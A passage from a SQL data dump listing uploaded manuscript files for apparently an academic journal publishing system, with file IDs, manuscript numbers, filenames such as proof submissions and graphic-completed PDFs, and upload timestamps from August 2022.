10:30:30',1,3,0),(33006,12697,'12697-Manuscript-2022-08-19-4saz-graphic-completed.pdf',NULL,'2022-08-19 10:47:33',1,3,0),(33007,12836,'12836-Manuscript-2022-08-19-1sa7-graphic-completed.pdf',NULL,'2022-08-19 10:47:42',1,3,0),(33008,12944,'12944-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 12:08:03',1,1,0),(33009,12906,'12906-256-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 12:26:45',1,3,0),(33010,12906,'12906-1686-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 12:26:47',1,3,0),(33011,12929,'12929-1486-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 12:41:47',1,3,0),(33012,12882,'12882-19-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 13:15:27',1,3,0),(33013,12881,'12881-1357-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 13:16:06',1,3,0),(33014,12880,'12880-313-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 13:17:01',1,3,0),(33015,12880,'12880-1195-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 13:18:04',1,3,0),(33016,12879,'12879-1184-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 13:18:44',1,3,0),(33018,12946,'12946-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 14:05:43',1,1,0),(33019,12947,'12947-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 14:06:33',1,1,0),(33020,12948,'12948-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 14:06:45',1,1,0),(33021,12949,'12949-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 14:07:32',1,1,0),(33022,12950,'12950-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 14:08:43',1,1,0),(33023,12951,'12951-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 14:09:40',1,1,0),(33024,12879,'12879-Manuscript-2022-08-19-e1ux-iptb-22-12879.rar',NULL,'2022-08-19 14:17:20',1,3,0),(33025,12929,'12929-Manuscript-2022-08-19-8ku3-IPJUS-22-12929.rar',NULL,'2022-08-19 14:27:18',1,3,0),(33026,12906,'12906-Manuscript-2022-08-19-t346-IPJUS-22-12906.rar',NULL,'2022-08-19 14:38:00',1,3,0),(33028,12848,'12848-331-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 15:14:04',1,3,0),(33029,12953,'12953-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 15:20:30',1,1,0),(33030,10059,'10059-1830-Manuscript-proof-submission-2022-08-19.zip',NULL,'2022-08-19 15:47:42',1,3,0),(33031,12880,'12880-Manuscript-2022-08-19-bwjl-iptb-22-12880.rar',NULL,'2022-08-19 15:59:50',1,3,0),(33032,12881,'12881-Manuscript-2022-08-19-56if-iptb-22-12881.rar',NULL,'2022-08-19 16:00:59',1,3,0),(33033,12881,'12881-Manuscript-2022-08-19-o2ki-iptb-22-12881.rar',NULL,'2022-08-19 16:01:24',1,3,0),(33034,12882,'12882-Manuscript-2022-08-19-xvmk-iptb-22-12882.rar',NULL,'2022-08-19 16:02:15',1,3,0),(33035,12954,'12954-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 16:31:51',1,1,0),(33036,12760,'12760-1784-Manuscript-proof-submission-2022-08-19.zip',NULL,'2022-08-19 16:44:58',1,3,0),(33037,12851,'12851-1829-Manuscript-proof-submission-2022-08-19.zip',NULL,'2022-08-19 16:45:28',1,3,0),(33038,12779,'12779-771-Manuscript-proof-submission-2022-08-19.zip',NULL,'2022-08-19 16:48:01',1,3,0),(33039,12830,'12830-382-Manuscript-proof-submission-2022-08-19.zip',NULL,'2022-08-19 16:50:27',1,3,0),(33040,12820,'12820-817-Manuscript-proof-submission-2022-08-19.zip',NULL,'2022-08-19 16:52:02',1,3,0),(33041,12955,'12955-0-Manuscript-2022-08-19.docx',NULL,'2022-08-19 17:03:31',1,1,0),(33042,12930,'12930-1953-Manuscript-proof-submission-2022-08-19.rar',NULL,'2022-08-19 17:17:06',1,3,0),(33043,12721,'12721-1948-Manuscript-proof-submission-2022-08-19.PNG',NULL,'2022-08-19 17:18:59',1,3,0),(33044,12743,'12743-1538-Manuscript-proof-submission-2022-08-19.PNG',NULL,'2022-08-19 17:26:05',1,3,0),(33045,12717,'12717-1875-Manuscript-proof-submission-2022-08-19.PNG',NULL,'2022-08-19 17:51:34',1,3,0),(33046,12946,'12946-1877-Manuscript-proof-submission-2022-08-20.docx',NULL,'2022-08-20 09:44:42',1,3,0),(33047,12948,'12948-1767-Manuscript-proof-submission-2022-08-20.docx',NULL,'2022-08-20 09:48:07',1,3,0),(33048,12848,'12848-Manuscript-2022-08-20-yk04-iphsj-22-12848.rar',NULL,'2022-08-20 09:54:03',1,3,0),(33049,12949,'12949-169-Manuscript-proof-submission-2022-08-20.docx',NULL,'2022-08-20 09:59:35',1,3,0),(33050,12950,'12950-1728-Manuscript-proof-submission-2022-08-20.docx',NULL,'2022-08-20 10:04:01',1,3,0),(33051,12951,'12951-172-Manuscript-proof-submission-2022-08-20.docx',NULL,'2022-08-20 10:06:28',1,3,0),(33052,11806,'11806-Manuscript-2022-08-20-89e2-ijps-20-11806.rar',NULL,'2022-08-20 10:50:26',1,3,0),(33053,12015,'12015-Manuscript-2022-08-20-q8zp-ocr-20-12015.zip',NULL,'2022-08-20 10:52:00',1,3,0),(33054,12271,'12271-Manuscript-2022-08-20-inu5-ipadm-22-12271.rar',NULL,'2022-08-20 10:55:14',1,3,0),(33055,12075,'12075-Manuscript-2022-08-20-vr7g-ipadm-22-12075.rar',NULL,'2022-08-20 10:56:36',1,3,1),(33056,12076,'12076-Manuscript-2022-08-20-gxw0-ipadm-22-12076.zip',NULL,'2022-08-20 10:57:17',1,3,0),(33057,12825,'12825-Manuscript-2022-08-20-18uk-ipadm-22-12825.zip',NULL,'2022-08-20 11:00:24',1,3,0),(33058,12851,'12851-Manuscript-2022-08-20-sm7v-ipadm-22-12851.zip',NULL,'2022-08-20 11:01:53',1,3,0),(33059,12830,'12830-Manuscript-2022-08-20-ynj6-ipadm-22-12830.zip',NULL,'2022-08-20 11:02:53',1,3,0),(33060,12820,'12820-Manuscript-2022-08-20-yb3t-ipadm-22-12820.zip',NULL,'2022-08-20 11:04:20',1,3,0),(33061,12779,'12779-Manuscript-2022-08-20-xbiw-ipadm-22-12779.zip',NULL,'2022-08-20 11:05:14',1,3,0),(33062,12760,'12760-Manuscript-2022-08-20-t078-ipadm-22-12760.zip',NULL,'2022-08-20 11:06:10',1,3,0),(33063,10059,'10059-Manuscript-2022-08-20-wyhv-ipadm-21-10059.zip',NULL,'2022-08-20 11:08:34',1,3,0),(33064,9999,'9999-Manuscript-2022-08-20-5h84-ipadm-21-9999.zip',NULL,'2022-08-20 11:09:52',1,3,0),(33065,12930,'12930-Manuscript-2022-08-20-0gxs-ipacm-22-12930.rar',NULL,'2022-08-20 11:38:41',1,3,0),(33066,12662,'12662-Manuscript-2022-08-20-ve6j-ipacm-22-12662.rar',NULL,'2022-08-20 11:39:39',1,3,0),(33067,11806,'11806-Manuscript-2022-08-20-vbjm-graphic-completed.pdf',NULL,'2022-08-20 11:42:54',1,3,0),(33068,12076,'12076-Manuscript-2022-08-20-150p-graphic-completed.pdf',NULL,'2022-08-20 11:44:49',1,3,0),(33069,12015,'12015-Manuscript-2022-08-20-vw3u-graphic-completed.pdf',NULL,'2022-08-20 11:46:07',1,3,0),(33070,12075,'12075-Manuscript-2022-08-20-onbw-graphic-completed.pdf',NULL,'2022-08-20 11:47:15',1,3,1),(33071,12271,'12271-Manuscript-2022-08-20-wcrh-graphic-completed.pdf',NULL,'2022-08-20 11:48:48',1,3,0),(33072,12851,'12851-Manuscript-2022-08-20-5i3m-graphic-completed.pdf',NULL,'2022-08-20 11:53:29',1,3,0),(33073,12830,'12830-Manuscript-2022-08-20-umjo-graphic-completed.pdf',NULL,'2022-08-20 11:55:03',1,3,0),(33074,12820,'12820-Manuscript-2022-08-20-yr8m-graphic-completed.pdf',NULL,'2022-08-20 11:56:08',1,3,0),(33075,12779,'12779-Manuscript-2022-08-20-8xjl-graphic-completed.pdf',NULL,'2022-08-20 11:57:06',1,3,0),(33076,12760,'12760-Manuscript-2022-08-20-3lo0-graphic-completed.pdf',NULL,'2022-08-20 11:58:08',1,3,0),(33077,11479,'11479-Manuscript-2022-08-20-kf7b-graphic-completed.pdf',NULL,'2022-08-20 12:10:50',1,3,0),(33078,12956,'12956-0-Manuscript-2022-08-20.docx',NULL,'2022-08-20 12:26:43',1,1,0),(33079,12951,'12951-Manuscript-2022-08-20-o08t-ipaom-22-12951.docx',NULL,'2022-08-20 12:43:28',1,3,0),(33080,12950,'12950-Manuscript-2022-08-20-45q7-ipaom-22-12950.docx',NULL,'2022-08-20 12:43:41',1,3,0),(33081,12949,'12949-Manuscript-2022-08-20-vy8s-ipaom-22-12949.docx',NULL,'2022-08-20 12:43:53',1,3,0),(33082,12948,'12948-Manuscript-2022-08-20-b0jo-ipaom-22-12948.docx',NULL,'2022-08-20 12:44:08',1,3,0),(33083,12946,'12946-Manuscript-2022-08-20-s8iy-ipaom-22-12946.docx',NULL,'2022-08-20 12:44:18',1,3,0),(33084,9999,'9999-Manuscript-2022-08-20-bwp8-move-pdf-making.pdf',NULL,'2022-08-20 12:44:47',1,3,0),(33086,12958,'12958-0-Manuscript-2022-08-20.docx',NULL,'2022-08-20 16:20:57',1,1,0),(33087,12960,'12960-0-Manuscript-2022-08-21.docx',NULL,'2022-08-21 16:20:41',1,1,0),(33088,12848,'12848-Manuscript-2022-08-22-1gh0-graphic-completed.pdf',NULL,'2022-08-22 10:14:18',1,3,0),(33089,12907,'12907-1793-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:49:44',1,3,0),(33090,12918,'12918-1757-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:51:00',1,3,0),(33091,12911,'12911-206-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:22',1,3,0),(33092,12911,'12911-1947-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:24',1,3,0),(33093,12911,'12911-194-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:27',1,3,0),(33094,12911,'12911-277-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:29',1,3,0),(33095,12911,'12911-1119-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:32',1,3,0),(33096,12911,'12911-1975-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:34',1,3,0),(33097,12911,'12911-311-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:37',1,3,0),(33098,12911,'12911-579-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:41',1,3,0),(33099,12911,'12911-1142-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:54',1,3,0),(33100,12911,'12911-2019-Manuscript-proof-submission-2022-08-22.rar',NULL,'2022-08-22 10:53:58',1,3,0),(33101,9472,'9472-Manuscript-2022-08-22-j7ez-ipadm-21-9472.rar',NULL,'2022-08-22 10:58:46',1,3,0),(33102,9472,'9472-Manuscript-2022-08-22-29na-move-pdf-making.pdf',NULL,'2022-08-22 11:02:55',1,3,0),(33103,9472,'9472-Manuscript-2022-08-22-01ad.pdf',NULL,'2022-08-22 11:08:14',1,3,0),(33104,12918,'12918-Manuscript-2022-08-22-ruwj-ipjbs-22-12918.rar',NULL,'2022-08-22 11:32:59',1,3,0),(33106,12907,'12907-Manuscript-2022-08-22-2bip-ipjbs-22-12907.rar',NULL,'2022-08-22 11:47:09',1,3,0),(33108,12932,'12932-1106-Manuscript-proof-submission-2022-08-22.docx',NULL,'2022-08-22 14:02:14',1,3,0),(33109,12933,'12933-1224-Manuscript-proof-submission-2022-08-22.docx',NULL,'2022-08-22 14:03:43',1,3,0),(33110,12936,'12936-114-Manuscript-proof-submission-2022-08-22.docx',NULL,'2022-08-22 14:04:54',1,3,0),(33111,12938,'12938-142-Manuscript-proof-submission-2022-08-22.docx',NULL,'2022-08-22 14:06:01',1,3,0),(33112,12955,'12955-347-Manuscript-proof-submission-2022-08-22.docx',NULL,'2022-08-22 14:06:47',1,3,0),(33113,12911,'12911-Manuscript-2022-08-22-phrl-ipjbs-22-12911.rar',NULL,'2022-08-22 14:14:59',1,3,0),(33115,12916,'12916-Manuscript-2022-08-22-glw7-graphic-completed.pdf',NULL,'2022-08-22 14:35:13',1,3,0),(33116,12920,'12920-Manuscript-2022-08-22-jgv6-graphic-completed.pdf',NULL,'2022-08-22 14:35:57',1,3,0),(33117,12955,'12955-Manuscript-2022-08-22-ypu3-ijddr-22-12955.rar',NULL,'2022-08-22 15:12:04',1,3,0),(33118,12938,'12938-Manuscript-2022-08-22-rvcu-ijddr-22-12938.rar',NULL,'2022-08-22 15:12:52',1,3,0),(33119,12936,'12936-Manuscript-2022-08-22-nitx-ijddr-22-12936.rar',NULL,'2022-08-22 15:13:35',1,3,0),(33120,12933,'12933-Manuscript-2022-08-22-xed6-ijddr-22-12933.rar',NULL,'2022-08-22 15:14:19',1,3,0),(33121,12932,'12932-Manuscript-2022-08-22-hvwg-ijddr-22-12932.rar',NULL,'2022-08-22 15:15:02',1,3,0),(33122,12917,'12917-Manuscript-2022-08-22-9jf8-graphic-completed.pdf',NULL,'2022-08-22 16:57:39',1,3,0),(33123,12921,'12921-Manuscript-2022-08-22-o73p-graphic-completed.pdf',NULL,'2022-08-22 16:57:44',1,3,0),(33124,12922,'12922-Manuscript-2022-08-22-qbln-graphic-completed.pdf',NULL,'2022-08-22 16:58:04',1,3,0),(33125,12933,'12933-Manuscript-2022-08-22-kqsp-graphic-completed.pdf',NULL,'2022-08-22 17:00:26',1,3,0),(33126,12964,'12964-0-Manuscript-2022-08-22.docx',NULL,'2022-08-22 19:13:19',1,1,0),(33127,12946,'12946-Manuscript-2022-08-23-umgb-graphic-completed.pdf',NULL,'2022-08-23 10:43:03',1,3,0),(33128,12948,'12948-Manuscript-2022-08-23-72nf-graphic-completed.pdf',NULL,'2022-08-23 10:43:35',1,3,0),(33129,12949,'12949-Manuscript-2022-08-23-ord1-graphic-completed.pdf',NULL,'2022-08-23 10:44:04',1,3,0),(33130,12950,'12950-Manuscript-2022-08-23-shaz-graphic-completed.pdf',NULL,'2022-08-23 10:44:32',1,3,0),(33131,12951,'12951-Manuscript-2022-08-23-fa0v-graphic-completed.pdf',NULL,'2022-08-23 10:45:00',1,3,0),(33132,12935,'12935-303-Manuscript-proof-submission-2022-08-23.rar',NULL,'2022-08-23 10:47:20',1,3,0),(33133,12935,'12935-Manuscript-2022-08-23-zjp7-IPJUS-22-12935.rar',NULL,'2022-08-23 11:11:22',1,3,0),(33134,12965,'12965-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 12:03:00',1,1,0),(33135,12956,'12956-303-Manuscript-proof-submission-2022-08-23.docx',NULL,'2022-08-23 13:09:21',1,3,0),(33136,12948,'12948-Manuscript-2022-08-23-xb9h.pdf',NULL,'2022-08-23 13:19:57',1,3,0),(33139,12968,'12968-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 13:47:41',1,1,0),(33140,12969,'12969-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 13:48:15',1,1,0),(33141,12956,'12956-Manuscript-2022-08-23-cwaz-ijddr-22-12956.rar',NULL,'2022-08-23 13:48:48',1,3,0),(33142,12759,'12759-138-Manuscript-proof-submission-2022-08-23.rar',NULL,'2022-08-23 13:51:19',1,3,0),(33143,12970,'12970-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 13:51:48',1,1,0),(33145,12972,'12972-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 15:03:32',1,1,0),(33146,12941,'12941-359-Manuscript-proof-submission-2022-08-23.docx',NULL,'2022-08-23 15:13:48',1,3,0),(33147,12973,'12973-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 15:22:21',1,1,0),(33148,12759,'12759-Manuscript-2022-08-23-4i6u-iphsj-22-12759.rar',NULL,'2022-08-23 15:25:19',1,3,0),(33149,12759,'12759-Manuscript-2022-08-23-s2te-iphsj-22-12759.rar',NULL,'2022-08-23 15:26:02',1,3,0),(33150,12974,'12974-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 15:26:51',1,1,0),(33151,12975,'12975-0-Manuscript-2022-08-23.docx',NULL,'2022-08-23 15:35:57',1,1,0),(33153,12941,'12941-Manuscript-2022-08-23-n8o7-ijddr-22-12941.rar',NULL,'2022-08-23 16:02:56',1,3,0),(33154,12946,'12946-Manuscript-2022-08-23-4a8j.pdf',NULL,'2022-08-23 16:42:31',1,3,0),(33155,12977,'12977-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 10:20:59',1,1,0),(33156,12977,'12977-1-Manuscript-2022-08-24.docx',NULL,'2022-08-24 10:20:59',1,1,0),(33157,12936,'12936-Manuscript-2022-08-24-dtcr-graphic-completed.pdf',NULL,'2022-08-24 10:46:33',1,3,0),(33158,12938,'12938-Manuscript-2022-08-24-5c2o-graphic-completed.pdf',NULL,'2022-08-24 10:46:50',1,3,0),(33159,12955,'12955-Manuscript-2022-08-24-7t2r-graphic-completed.pdf',NULL,'2022-08-24 10:46:57',1,3,0),(33160,12978,'12978-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 10:49:48',1,1,0),(33161,12759,'12759-Manuscript-2022-08-24-8n7w-graphic-completed.pdf',NULL,'2022-08-24 11:17:01',1,3,0),(33162,12979,'12979-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 11:30:57',1,1,0),(33164,12981,'12981-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 14:59:39',1,1,0),(33165,12982,'12982-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 15:18:21',1,1,0),(33166,12983,'12983-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 15:40:58',1,1,0),(33167,12984,'12984-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 15:40:58',1,1,0),(33168,12985,'12985-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 15:45:44',1,1,0),(33169,12986,'12986-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 15:51:49',1,1,0),(33170,12987,'12987-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 15:53:31',1,1,0),(33171,12570,'12570-1047-Manuscript-proof-submission-2022-08-24.zip',NULL,'2022-08-24 16:38:51',1,3,0),(33172,12988,'12988-0-Manuscript-2022-08-24.docx',NULL,'2022-08-24 16:41:50',1,1,0),(33173,12986,'12986-955-Manuscript-proof-submission-2022-08-24.docx',NULL,'2022-08-24 16:47:00',1,3,0),(33174,12985,'12985-1634-Manuscript-proof-submission-2022-08-24.docx',NULL,'2022-08-24 16:54:20',1,3,0),(33175,12984,'12984-54-Manuscript-proof-submission-2022-08-24.docx',NULL,'2022-08-24 16:59:23',1,3,0),(33176,12982,'12982-1299-Manuscript-proof-submission-2022-08-24.docx',NULL,'2022-08-24 17:02:51',1,3,0),(33177,12919,'12919-1953-Manuscript-proof-submission-2022-08-25.rar',NULL,'2022-08-25 10:04:26',1,3,0),(33178,12905,'12905-1457-Manuscript-proof-submission-2022-08-25.rar',NULL,'2022-08-25 10:07:55',1,3,0),(33179,12989,'12989-0-Manuscript-2022-08-25.docx',NULL,'2022-08-25 10:34:52',1,1,0),(33180,12523,'12523-1488-Manuscript-proof-submission-2022-08-25.docx',NULL,'2022-08-25 10:35:17',1,3,0),(33181,12523,'12523-1443-Manuscript-proof-submission-2022-08-25.docx',NULL,'2022-08-25 10:35:18',1,3,0),(33182,12990,'12990-0-Manuscript-2022-08-25.docx',NULL,'2022-08-25 10:46:50',1,1,0),(33183,12991,'12991-0-Manuscript-2022-08-25.docx',NULL,'2022-08-25 11:03:40',1,1,0),(33184,12905,'12905-Manuscript-2022-08-25-91m6-ipjbs-22-12905.rar',NULL,'2022-08-25 11:21:40',1,3,0),(33185,12919,'12919-Manuscript-2022-08-25-d2b5-ipjbs-22-12919.rar',NULL,'2022-08-25 11:29:49',1,3,0),(33186,12982,'12982-Manuscript-2022-08-25-709u-ipaom-22-12982.docx',NULL,'2022-08-25 14:23:21',1,3,0),(33187,12986,'12986-Manuscript-2022-08-25-ps63-ipaom-22-12986.docx',NULL,'2022-08-25 14:23:32',1,3,0),(33188,12985,'12985-Manuscript-2022-08-25-nmou-ipaom-22-12985.docx',NULL,'2022-08-25 14:23:43',1,3,0),(33189,12984,'12984-Manuscript-2022-08-25-ck5i-ipaom-22-12984.docx',NULL,'2022-08-25 14:23:54',1,3,0),(33190,12904,'12904-1111-Manuscript-proof-submission-2022-08-25.rar',NULL,'2022-08-25 14:25:06',1,3,0),(33191,12913,'12913-487-Manuscript-proof-submission-2022-08-25.rar',NULL,'2022-08-25 14:39:42',1,3,0),(33192,12914,'12914-739-Manuscript-proof-submission-2022-08-25.rar',NULL,'2022-08-25 15:08:24',1,3,0),(33193,12570,'12570-Manuscript-2022-08-25-g0l9-ipaom-22-12570.rar',NULL,'2022-08-25 15:13:01',1,3,0),(33195,12993,'12993-0-Manuscript-2022-08-25.docx',NULL,'2022-08-25 17:55:22',1,1,0),(33196,12994,'12994-0-Manuscript-2022-08-25.docx',NULL,'2022-08-25 18:04:54',1,1,0),(33197,12989,'12989-16-Manuscript-proof-submission-2022-08-25.zip',NULL,'2022-08-25 18:07:30',1,3,0),(33198,12994,'12994-1959-Manuscript-proof-submission-2022-08-25.zip',NULL,'2022-08-25 18:41:13',1,3,0),(33199,12995,'12995-0-Manuscript-2022-08-25.pdf',NULL,'2022-08-25 23:54:10',1,1,0),(33200,12910,'12910-244-Manuscript-proof-submission-2022-08-26.rar',NULL,'2022-08-26 10:41:10',1,3,0),(33201,12997,'12997-0-Manuscript-2022-08-26.pdf',NULL,'2022-08-26 13:09:17',1,1,0),(33202,12697,'12697-Manuscript-2022-08-26-ze7c.pdf',NULL,'2022-08-26 13:21:17',1,3,0),(33203,12759,'12759-Manuscript-2022-08-26-68s1.pdf',NULL,'2022-08-26 13:23:36',1,3,0),(33204,12836,'12836-Manuscript-2022-08-26-9j38.pdf',NULL,'2022-08-26 13:25:37',1,3,0),(33205,12840,'12840-Manuscript-2022-08-26-iqlk.pdf',NULL,'2022-08-26 13:27:27',1,3,1),(33206,12848,'12848-Manuscript-2022-08-26-ug1l.pdf',NULL,'2022-08-26 13:33:48',1,3,0),(33207,12970,'12970-1737-Manuscript-proof-submission-2022-08-26.rar',NULL,'2022-08-26 13:56:34',1,3,0),(33208,12984,'12984-Manuscript-2022-08-26-mjr6-graphic-completed.pdf',NULL,'2022-08-26 14:04:16',1,3,0),(33209,12985,'12985-Manuscript-2022-08-26-kmcd-graphic-completed.pdf',NULL,'2022-08-26 14:04:43',1,3,0),(33210,12986,'12986-Manuscript-2022-08-26-ny8c-graphic-completed.pdf',NULL,'2022-08-26 14:05:13',1,3,0),(33211,12982,'12982-Manuscript-2022-08-26-c4a9-graphic-completed.pdf',NULL,'2022-08-26 14:05:49',1,3,0),(33212,12570,'12570-Manuscript-2022-08-26-njsf-graphic-completed.pdf',NULL,'2022-08-26 14:06:15',1,3,0),(33213,12998,'12998-0-Manuscript-2022-08-26.docx',NULL,'2022-08-26 14:07:13',1,1,0),(33214,12910,'12910-Manuscript-2022-08-26-8ra9-ipacm-22-12910.rar',NULL,'2022-08-26 15:33:46',1,3,0),(33215,12904,'12904-Manuscript-2022-08-26-uxr5-ipmedt-22-12904.rar',NULL,'2022-08-26 16:08:41',1,3,0),(33216,12913,'12913-Manuscript-2022-08-26-o5i0-ipmedt-22-12913.rar',NULL,'2022-08-26 16:24:49',1,3,0),(33217,12914,'12914-Manuscript-2022-08-26-wqi5-ipmedt-22-12914.rar',NULL,'2022-08-26 16:28:40',1,3,0),(33218,12994,'12994-Manuscript-2022-08-26-wp07-ipjnn-22-12994.rar',NULL,'2022-08-26 17:16:48',1,3,1),(33220,13000,'13000-0-Manuscript-2022-08-27.docx',NULL,'2022-08-27 09:15:08',1,1,0),(33221,13001,'13001-0-Manuscript-2022-08-27.docx',NULL,'2022-08-27 09:56:38',1,1,0),(33222,12982,'12982-Manuscript-2022-08-27-spnu.pdf',NULL,'2022-08-27 10:06:05',1,3,0),(33223,12986,'12986-Manuscript-2022-08-27-6h1t.pdf',NULL,'2022-08-27 10:06:31',1,3,0),(33224,13002,'13002-0-Manuscript-2022-08-27.docx',NULL,'2022-08-27 10:06:36',1,1,0),(33225,12985,'12985-Manuscript-2022-08-27-9nyr.pdf',NULL,'2022-08-27 10:06:58',1,3,0),(33226,12984,'12984-Manuscript-2022-08-27-ix7c.pdf',NULL,'2022-08-27 10:07:26',1,3,0),(33227,13003,'13003-0-Manuscript-2022-08-27.docx',NULL,'2022-08-27 10:11:09',1,1,0),(33228,12570,'12570-Manuscript-2022-08-27-z1s3.pdf',NULL,'2022-08-27 10:32:03',1,3,0),(33229,12989,'12989-Manuscript-2022-08-27-26io-ap-ame-revised.zip',NULL,'2022-08-27 10:43:24',1,3,0),(33230,12994,'12994-Manuscript-2022-08-27-k7c0-graphic-completed.pdf',NULL,'2022-08-27 10:47:34',1,3,0),(33231,13004,'13004-0-Manuscript-2022-08-27.docx',NULL,'2022-08-27 13:04:39',1,1,0),(33232,13005,'13005-0-Manuscript-2022-08-27.docx',NULL,'2022-08-27 13:07:22',1,1,0),(33233,13006,'13006-0-Manuscript-2022-08-28.docx',NULL,'2022-08-28 03:39:07',1,1,0),(33234,13007,'13007-0-Manuscript-2022-08-28.pdf',NULL,'2022-08-28 08:23:38',1,1,0),(33235,13008,'13008-0-Manuscript-2022-08-28.docx',NULL,'2022-08-28 22:48:01',1,1,0),(33236,13008,'13008-1-Manuscript-2022-08-28.docx',NULL,'2022-08-28 22:48:01',1,1,0),(33237,13008,'13008-2-Manuscript-2022-08-28.tif',NULL,'2022-08-28 22:48:01',1,1,0),(33238,13008,'13008-3-Manuscript-2022-08-28.tif',NULL,'2022-08-28 22:48:01',1,1,0),(33239,13008,'13008-4-Manuscript-2022-08-28.tif',NULL,'2022-08-28 22:48:01',1,1,0),(33240,13008,'13008-5-Manuscript-2022-08-28.tif',NULL,'2022-08-28 22:48:01',1,1,0),(33242,13010,'13010-0-Manuscript-2022-08-29.docx',NULL,'2022-08-29 09:24:24',1,1,0),(33243,13011,'13011-0-Manuscript-2022-08-29.docx',NULL,'2022-08-29 09:59:15',1,1,0),(33244,12970,'12970-Manuscript-2022-08-29-vm8q-iptb-22-12970.rar',NULL,'2022-08-29 10:24:48',1,3,0),(33245,12910,'12910-Manuscript-2022-08-29-12pg-graphic-completed.pdf',NULL,'2022-08-29 11:02:03',1,3,0),(33246,12994,'12994-Manuscript-2022-08-29-hx7t.pdf',NULL,'2022-08-29 11:02:37',1,3,0),(33247,12880,'12880-Manuscript-2022-08-29-6ie5-graphic-completed.pdf',NULL,'2022-08-29 11:55:21',1,3,0),(33248,12881,'12881-Manuscript-2022-08-29-3jmi-graphic-completed.pdf',NULL,'2022-08-29 11:55:29',1,3,0),(33249,12879,'12879-Manuscript-2022-08-29-uf9q-graphic-completed.pdf',NULL,'2022-08-29 11:55:38',1,3,0),(33250,12882,'12882-Manuscript-2022-08-29-eycl-graphic-completed.pdf',NULL,'2022-08-29 11:55:46',1,3,0),(33251,13012,'13012-0-Manuscript-2022-08-29.docx',NULL,'2022-08-29 12:02:16',1,1,0),(33252,12502,'12502-119-Manuscript-proof-submission-2022-08-29.rar',NULL,'2022-08-29 12:32:29',1,3,0),(33253,12989,'12989-Manuscript-2022-08-29-x1eu-ipjnn-22-12989.rar',NULL,'2022-08-29 14:37:52',1,3,0),(33254,12994,'12994-Manuscript-2022-08-29-utop-ap-ame-revised.pdf',NULL,'2022-08-29 14:59:48',1,3,0),(33255,12994,'12994-Manuscript-2022-08-29-jnbi.pdf',NULL,'2022-08-29 15:07:37',1,3,0),(33256,12502,'12502-Manuscript-2022-08-29-8qgj-ipar-22-12502.rar',NULL,'2022-08-29 16:44:26',1,3,0),(33257,13004,'13004-274-Manuscript-proof-submission-2022-08-29.docx',NULL,'2022-08-29 17:43:15',1,3,0),(33258,13005,'13005-269-Manuscript-proof-submission-2022-08-29.docx',NULL,'2022-08-29 17:43:43',1,3,0),(33259,13013,'13013-0-Manuscript-2022-08-29.docx',NULL,'2022-08-29 20:33:02',1,1,0),(33260,13006,'13006-467-Manuscript-proof-submission-2022-08-30.docx',NULL,'2022-08-30 11:00:22',1,3,0),(33261,13006,'13006-101-Manuscript-proof-submission-2022-08-30.docx',NULL,'2022-08-30 11:00:26',1,3,0),(33262,12905,'12905-Manuscript-2022-08-30-i02d-graphic-completed.pdf',NULL,'2022-08-30 11:50:47',1,3,0),(33263,12907,'12907-Manuscript-2022-08-30-5rt2-graphic-completed.pdf',NULL,'2022-08-30 11:50:53',1,3,0),(33264,12911,'12911-Manuscript-2022-08-30-bsdm-graphic-completed.pdf',NULL,'2022-08-30 11:50:58',1,3,0),(33265,12918,'12918-Manuscript-2022-08-30-60y1-graphic-completed.pdf',NULL,'2022-08-30 11:51:05',1,3,0),(33266,12919,'12919-Manuscript-2022-08-30-whg6-graphic-completed.pdf',NULL,'2022-08-30 11:51:10',1,3,0),(33267,12956,'12956-Manuscript-2022-08-30-ktv8-graphic-completed.pdf',NULL,'2022-08-30 11:54:00',1,3,0),(33268,12970,'12970-Manuscript-2022-08-30-rj6a-graphic-completed.pdf',NULL,'2022-08-30 